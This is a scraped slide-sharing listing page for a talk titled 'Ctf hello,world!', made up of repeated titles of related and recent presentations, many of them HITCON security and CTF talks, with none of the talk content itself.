CTF 經驗分享
 
HITCON CTF 導覽
HITCON CTF 導覽HITCON CTF 導覽
HITCON CTF 導覽
 
Practical cryptanalysis for hackers
Practical cryptanalysis for hackersPractical cryptanalysis for hackers
Practical cryptanalysis for hackers
 
2015 資安從業人員的寶(鬼)島求生
2015 資安從業人員的寶(鬼)島求生2015 資安從業人員的寶(鬼)島求生
2015 資安從業人員的寶(鬼)島求生
 
Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果
Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果
Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果
 
台灣資安人才培育現況
台灣資安人才培育現況台灣資安人才培育現況
台灣資安人才培育現況
 

Similar to Ctf hello,world!

SMP Implementation for OpenBSD/sgi [Japanese Edition]
SMP Implementation for OpenBSD/sgi [Japanese Edition]SMP Implementation for OpenBSD/sgi [Japanese Edition]
SMP Implementation for OpenBSD/sgi [Japanese Edition]Takuya ASADA
 
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...Alexandre Moneger
 
Multiplatform JIT Code Generator for NetBSD by Alexander Nasonov
Multiplatform JIT Code Generator for NetBSD by Alexander NasonovMultiplatform JIT Code Generator for NetBSD by Alexander Nasonov
Multiplatform JIT Code Generator for NetBSD by Alexander Nasonoveurobsdcon
 
Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Nelson Brito
 
OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020Jose Palanco
 
Playing CTFs for Fun & Profit
Playing CTFs for Fun & ProfitPlaying CTFs for Fun & Profit
Playing CTFs for Fun & Profitimpdefined
 
[ENG] IPv6 shipworm + My little Windows domain pwnie
[ENG] IPv6 shipworm + My little Windows domain pwnie[ENG] IPv6 shipworm + My little Windows domain pwnie
[ENG] IPv6 shipworm + My little Windows domain pwnieZoltan Balazs
 
Adventures in Femtoland: 350 Yuan for Invaluable Fun
Adventures in Femtoland: 350 Yuan for Invaluable FunAdventures in Femtoland: 350 Yuan for Invaluable Fun
Adventures in Femtoland: 350 Yuan for Invaluable Funarbitrarycode
 
Stripe CTF3 wrap-up
Stripe CTF3 wrap-upStripe CTF3 wrap-up
Stripe CTF3 wrap-upStripe
 
"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal PurzynskiPROIDEA
 
Advanced Linux Game Programming
Advanced Linux Game ProgrammingAdvanced Linux Game Programming
Advanced Linux Game ProgrammingLeszek Godlewski
 
The str/bytes nightmare before python2 EOL
The str/bytes nightmare before python2 EOLThe str/bytes nightmare before python2 EOL
The str/bytes nightmare before python2 EOLKir Chou
 
SMP implementation for OpenBSD/sgi
SMP implementation for OpenBSD/sgiSMP implementation for OpenBSD/sgi
SMP implementation for OpenBSD/sgiTakuya ASADA
 
HES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you canHES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you canHackito Ergo Sum
 
Hackito Ergo Sum 2011: Capture me if you can!
Hackito Ergo Sum 2011: Capture me if you can!Hackito Ergo Sum 2011: Capture me if you can!
Hackito Ergo Sum 2011: Capture me if you can!stricaud
 
Rainbow Over the Windows: More Colors Than You Could Expect
Rainbow Over the Windows: More Colors Than You Could ExpectRainbow Over the Windows: More Colors Than You Could Expect
Rainbow Over the Windows: More Colors Than You Could ExpectPeter Hlavaty
 
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...Felipe Prado
 
Why are we still vulnerable to Side Channel Attacks?
Why are we still vulnerable to Side Channel Attacks?Why are we still vulnerable to Side Channel Attacks?
Why are we still vulnerable to Side Channel Attacks?Riscure
 
PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...
PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...
PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...CODE BLUE
 

Similar to Ctf hello,world! (20)

SMP Implementation for OpenBSD/sgi [Japanese Edition]
SMP Implementation for OpenBSD/sgi [Japanese Edition]SMP Implementation for OpenBSD/sgi [Japanese Edition]
SMP Implementation for OpenBSD/sgi [Japanese Edition]
 
Cryptography 202
Cryptography 202Cryptography 202
Cryptography 202
 
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
 
Multiplatform JIT Code Generator for NetBSD by Alexander Nasonov
Multiplatform JIT Code Generator for NetBSD by Alexander NasonovMultiplatform JIT Code Generator for NetBSD by Alexander Nasonov
Multiplatform JIT Code Generator for NetBSD by Alexander Nasonov
 
Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?
 
OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020
 
Playing CTFs for Fun & Profit
Playing CTFs for Fun & ProfitPlaying CTFs for Fun & Profit
Playing CTFs for Fun & Profit
 
[ENG] IPv6 shipworm + My little Windows domain pwnie
[ENG] IPv6 shipworm + My little Windows domain pwnie[ENG] IPv6 shipworm + My little Windows domain pwnie
[ENG] IPv6 shipworm + My little Windows domain pwnie
 
Adventures in Femtoland: 350 Yuan for Invaluable Fun
Adventures in Femtoland: 350 Yuan for Invaluable FunAdventures in Femtoland: 350 Yuan for Invaluable Fun
Adventures in Femtoland: 350 Yuan for Invaluable Fun
 
Stripe CTF3 wrap-up
Stripe CTF3 wrap-upStripe CTF3 wrap-up
Stripe CTF3 wrap-up
 
"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski
 
Advanced Linux Game Programming
Advanced Linux Game ProgrammingAdvanced Linux Game Programming
Advanced Linux Game Programming
 
The str/bytes nightmare before python2 EOL
The str/bytes nightmare before python2 EOLThe str/bytes nightmare before python2 EOL
The str/bytes nightmare before python2 EOL
 
SMP implementation for OpenBSD/sgi
SMP implementation for OpenBSD/sgiSMP implementation for OpenBSD/sgi
SMP implementation for OpenBSD/sgi
 
HES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you canHES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you can
 
Hackito Ergo Sum 2011: Capture me if you can!
Hackito Ergo Sum 2011: Capture me if you can!Hackito Ergo Sum 2011: Capture me if you can!
Hackito Ergo Sum 2011: Capture me if you can!
 
Rainbow Over the Windows: More Colors Than You Could Expect
Rainbow Over the Windows: More Colors Than You Could ExpectRainbow Over the Windows: More Colors Than You Could Expect
Rainbow Over the Windows: More Colors Than You Could Expect
 
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
 
Why are we still vulnerable to Side Channel Attacks?
Why are we still vulnerable to Side Channel Attacks?Why are we still vulnerable to Side Channel Attacks?
Why are we still vulnerable to Side Channel Attacks?
 
PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...
PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...
PANDEMONIUM: Automated Identification of Cryptographic Algorithms using Dynam...
 

More from Hacks in Taiwan (HITCON)

HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】Hacks in Taiwan (HITCON)
 
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】Hacks in Taiwan (HITCON)
 
HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享
HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享
HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享Hacks in Taiwan (HITCON)
 
HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記
 HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記  HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記
HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記 Hacks in Taiwan (HITCON)
 
HITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You Think
HITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You ThinkHITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You Think
HITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You ThinkHacks in Taiwan (HITCON)
 
【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】
【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】
【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】Hacks in Taiwan (HITCON)
 
【HITCON FreeTalk 2021 - From fakespy to Guerilla: Understanding Android malw...
【HITCON FreeTalk 2021 -  From fakespy to Guerilla: Understanding Android malw...【HITCON FreeTalk 2021 -  From fakespy to Guerilla: Understanding Android malw...
【HITCON FreeTalk 2021 - From fakespy to Guerilla: Understanding Android malw...Hacks in Taiwan (HITCON)
 
【HITCON FreeTalk 2021 - SolarWinds 供應鏈攻擊事件分析】
【HITCON FreeTalk 2021 -  SolarWinds 供應鏈攻擊事件分析】【HITCON FreeTalk 2021 -  SolarWinds 供應鏈攻擊事件分析】
【HITCON FreeTalk 2021 - SolarWinds 供應鏈攻擊事件分析】Hacks in Taiwan (HITCON)
 
【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】
【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】
【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】Hacks in Taiwan (HITCON)
 
【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】
【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】
【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】Hacks in Taiwan (HITCON)
 
【HITCON FreeTalk】HITCON 2017 下半年活動介紹
【HITCON FreeTalk】HITCON 2017 下半年活動介紹【HITCON FreeTalk】HITCON 2017 下半年活動介紹
【HITCON FreeTalk】HITCON 2017 下半年活動介紹Hacks in Taiwan (HITCON)
 
【HITCON Hackathon 2017】 TrendMicro Datasets
【HITCON Hackathon 2017】 TrendMicro Datasets【HITCON Hackathon 2017】 TrendMicro Datasets
【HITCON Hackathon 2017】 TrendMicro DatasetsHacks in Taiwan (HITCON)
 
HITCON TALK 技術解析 SWIFT Network 攻擊
HITCON TALK 技術解析 SWIFT Network 攻擊 HITCON TALK 技術解析 SWIFT Network 攻擊
HITCON TALK 技術解析 SWIFT Network 攻擊 Hacks in Taiwan (HITCON)
 
HITCON TALK 台灣駭客協會年度活動簡介
HITCON TALK 台灣駭客協會年度活動簡介HITCON TALK 台灣駭客協會年度活動簡介
HITCON TALK 台灣駭客協會年度活動簡介Hacks in Taiwan (HITCON)
 

More from Hacks in Taiwan (HITCON) (18)

HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題二:Cyber War - 網路戰與地緣政治】
 
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
 
HITCON CISO Summit 2023 - Closing
HITCON CISO Summit 2023 - ClosingHITCON CISO Summit 2023 - Closing
HITCON CISO Summit 2023 - Closing
 
HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享
HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享
HITCON FreeTalk 2022 - 自己的SOC自己管-- SOC建置的心路歷程分享
 
HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記
 HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記  HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記
HITCON FreeTalk 2022 - Zero Trust Architecture 讀書筆記
 
HITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You Think
HITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You ThinkHITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You Think
HITCON FreeTalk 2022 - Defeat 0day is not as Difficult as You Think
 
【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】
【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】
【HITCON FreeTalk 2022 - 我把在網頁框架發現的密碼學漏洞變成 CTF 題了】
 
【HITCON FreeTalk 2021 - From fakespy to Guerilla: Understanding Android malw...
【HITCON FreeTalk 2021 -  From fakespy to Guerilla: Understanding Android malw...【HITCON FreeTalk 2021 -  From fakespy to Guerilla: Understanding Android malw...
【HITCON FreeTalk 2021 - From fakespy to Guerilla: Understanding Android malw...
 
【HITCON FreeTalk 2021 - SolarWinds 供應鏈攻擊事件分析】
【HITCON FreeTalk 2021 -  SolarWinds 供應鏈攻擊事件分析】【HITCON FreeTalk 2021 -  SolarWinds 供應鏈攻擊事件分析】
【HITCON FreeTalk 2021 - SolarWinds 供應鏈攻擊事件分析】
 
【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】
【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】
【HITCON FreeTalk 2018 - Spectre & Meltdown 漏洞的修補策略與 risk mitigation】
 
【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】
【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】
【HITCON FreeTalk 2018 - 從晶片設計角度看硬體安全】
 
【HITCON FreeTalk】Supply Chain Attack
【HITCON FreeTalk】Supply Chain Attack【HITCON FreeTalk】Supply Chain Attack
【HITCON FreeTalk】Supply Chain Attack
 
【HITCON FreeTalk】HITCON 2017 下半年活動介紹
【HITCON FreeTalk】HITCON 2017 下半年活動介紹【HITCON FreeTalk】HITCON 2017 下半年活動介紹
【HITCON FreeTalk】HITCON 2017 下半年活動介紹
 
【HITCON Hackathon 2017】 TrendMicro Datasets
【HITCON Hackathon 2017】 TrendMicro Datasets【HITCON Hackathon 2017】 TrendMicro Datasets
【HITCON Hackathon 2017】 TrendMicro Datasets
 
HITCON TALK 技術解析 SWIFT Network 攻擊
HITCON TALK 技術解析 SWIFT Network 攻擊 HITCON TALK 技術解析 SWIFT Network 攻擊
HITCON TALK 技術解析 SWIFT Network 攻擊
 
HITCON TALK ATM 金融攻擊事件解析
HITCON TALK ATM 金融攻擊事件解析HITCON TALK ATM 金融攻擊事件解析
HITCON TALK ATM 金融攻擊事件解析
 
HITCON TALK 產業視野下的 InfoSec
HITCON TALK 產業視野下的 InfoSecHITCON TALK 產業視野下的 InfoSec
HITCON TALK 產業視野下的 InfoSec
 
HITCON TALK 台灣駭客協會年度活動簡介
HITCON TALK 台灣駭客協會年度活動簡介HITCON TALK 台灣駭客協會年度活動簡介
HITCON TALK 台灣駭客協會年度活動簡介
 

Recently uploaded

Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 
Landscape Catalogue 2024 Australia-1.pdf
Landscape Catalogue 2024 Australia-1.pdfLandscape Catalogue 2024 Australia-1.pdf
Landscape Catalogue 2024 Australia-1.pdfAarwolf Industries LLC
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfIngrid Airi González
 
React Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkReact Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkPixlogix Infotech
 
Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)
Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)
Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)Mark Simos
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotesMuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotesManik S Magar
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Kaya Weers
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Mark Goldstein
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...
Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...
Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...Jeffrey Haguewood
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integrationmarketing932765
 
A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI AgeCprime
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxfnnc6jmgwh
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 

Recently uploaded (20)

Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 
Landscape Catalogue 2024 Australia-1.pdf
Landscape Catalogue 2024 Australia-1.pdfLandscape Catalogue 2024 Australia-1.pdf
Landscape Catalogue 2024 Australia-1.pdf
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdf
 
React Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkReact Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App Framework
 
Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)
Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)
Tampa BSides - The No BS SOC (slides from April 6, 2024 talk)
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotesMuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...
Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...
Email Marketing Automation for Bonterra Impact Management (fka Social Solutio...
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
 
A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI Age
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 

Ctf hello,world!